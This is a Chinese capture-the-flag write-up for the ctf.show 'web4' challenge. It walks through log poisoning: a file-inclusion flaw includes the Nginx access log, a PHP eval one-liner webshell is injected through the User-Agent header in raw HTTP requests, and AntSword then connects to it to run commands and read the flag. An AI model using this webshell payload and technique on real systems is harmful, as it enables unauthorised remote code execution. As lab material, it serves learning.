ctf.show_web4

这道题是 日志包含 + 命令 / 后门注入,核心思路是:

  1. 利用 include($_GET['url']) 包含 Nginx 访问日志
  2. 在请求头里写入 PHP 一句话木马,让日志里留下可执行的后门代码
  3. 用蚁剑连接后门,拿到 flag

✅ 步骤 1:确认日志路径可包含

先访问日志文件,验证文件包含漏洞:

plaintext

复制代码
http://你的目标地址/?url=/var/log/nginx/access.log

如果页面返回 Nginx 访问日志(像截图里那样),说明日志包含成功,可以继续下一步。


✅ 步骤 2:在请求头注入 PHP 后门

用 Burp Suite 抓包,修改请求头,在 User-Agent 或 X-Forwarded-For 里写入一句话木马:

http

复制代码
GET /?url=/var/log/nginx/access.log HTTP/1.1
Host: 你的目标地址
User-Agent: <?php @eval($_POST['-123']); ?>
X-Forwarded-For: <?php @eval($_POST['-123']); ?>
Connection: close
  • 密码设为 -123(你可以随便改)
  • 发送这个请求,Nginx 会把这个 User-Agent 写入访问日志,日志里就有了可执行的 PHP 代码

✅ 步骤 3:包含日志,让后门生效

再次访问日志路径,让服务器执行日志里的 PHP 代码:

plaintext

复制代码
http://你的目标地址/?url=/var/log/nginx/access.log

这一步会让 include() 把日志里的 <?php @eval($_POST['-123']); ?> 当作 PHP 代码执行。


✅ 步骤 4:用蚁剑连接后门

  1. 打开蚁剑,点击「添加数据」

  2. 输入 URL: plaintext

    复制代码
    http://你的目标地址/?url=/var/log/nginx/access.log
  3. 密码填 -123(和你刚才注入的密码一致)

  4. 选择「POST」方式,点击「测试连接」

  5. 连接成功后,就可以管理服务器文件、执行命令,直接找到 flag

具体操作

步骤 1:用 Burp Suite 抓包并注入一句话木马

  1. 打开 Burp Suite,开启 Proxy → Intercept 拦截。

  2. 浏览器访问: plaintext

    复制代码
    https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
  3. Burp 会拦截到这个 GET 请求,修改请求头 ,在 User-Agent 里写入 PHP 一句话木马:

    http

    复制代码
    GET /?url=/var/log/nginx/access.log HTTP/1.1
    Host: 00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show
    User-Agent: <?php @eval($_POST['-123']); ?>  <!-- 核心:注入后门代码 -->
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Connection: close
    • 密码设为 -123(可以自定义)
    • 其他头保持不变
  4. 点击 Forward 放行请求,Nginx 会把这段 PHP 代码写入访问日志。


✅ 步骤 2:验证日志包含后门已生效

再次在浏览器访问同一个 URL:

plaintext

复制代码
https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log

这一步会让 include() 执行日志里的 PHP 代码,后门已经激活。


✅ 步骤 3:用蚁剑连接后门拿 flag

  1. 打开蚁剑(AntSword),点击「添加数据」。
  2. 填写信息:
    • URL 地址 :

      plaintext

      复制代码
      https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
    • 连接密码 :-123(和你注入的密码一致)

    • 请求方式 :POST

  3. 点击「测试连接」,如果提示连接成功,就可以:
    • 浏览服务器文件
    • 执行系统命令(比如 cat /flag)
    • 直接找到并读取 flag 文件

💡 关键原理(为什么能成功)

  1. include($_GET['url']) 允许包含任意文件,这里我们包含了 Nginx 访问日志 /var/log/nginx/access.log。
  2. 我们在 User-Agent 里写入 PHP 代码,Nginx 会把请求头原样记录到日志中。
  3. 再次包含日志时,PHP 代码会被服务器执行,相当于留下了一个后门。
  4. 蚁剑通过 POST 传递密码,执行任意系统命令,最终拿到 flag。

🚀 避坑提醒

  • 必须用 https:你的目标地址是 https,不要改成 http,否则会报错。
  • 密码要一致 :蚁剑里填的密码必须和 Burp 注入的 $_POST['xxx'] 里的 xxx 完全一样。
  • 如果蚁剑连接失败:检查 URL 是否正确、密码是否一致、是否已经成功注入了 PHP 代码到日志里。
相关推荐
hunterandroid7 小时前
[Android 从零到一] Dagger2 依赖注入深度解析:编译时注解处理与依赖图生成
android
美狐美颜SDK开放平台8 小时前
视频美颜SDK如何实现动态贴纸跟随?人脸追踪技术解析
android·人工智能·计算机视觉·音视频·直播美颜sdk
FLJwu8 小时前
运动相机图像传感器选型实战|第二篇:参数看着一模一样,为什么骑行录像疯狂果冻、拖影翻车?
android·c语言·开发语言·数码相机·运动相机·oem 量产
DengDongQi8 小时前
Compose 单 Activity 架构实现指南
android·架构·composer
FlightYe9 小时前
音视频修炼之容器与协议(二):HLS和DASH流媒体
android·linux·ffmpeg·音视频·android runtime·dash
allanGold9 小时前
Android Studio 无线调试
android·ide·android studio
Kapaseker10 小时前
AI 会干掉 React Native 吗?
android·kotlin
2501_9159214310 小时前
iOS 实时日志怎么看?KeyMob 的日志过滤、崩溃报告与符号化
android·ios·小程序·https·uni-app·iphone·webview
千里马学框架10 小时前
Service服务绑定对进程adj影响及常见绑定错误
android·智能手机·性能优化·程序员·framework·性能·安卓失业
独隅1 天前
Claude API 实战教程:从入门到完整项目
android·java·数据库·claude·claude code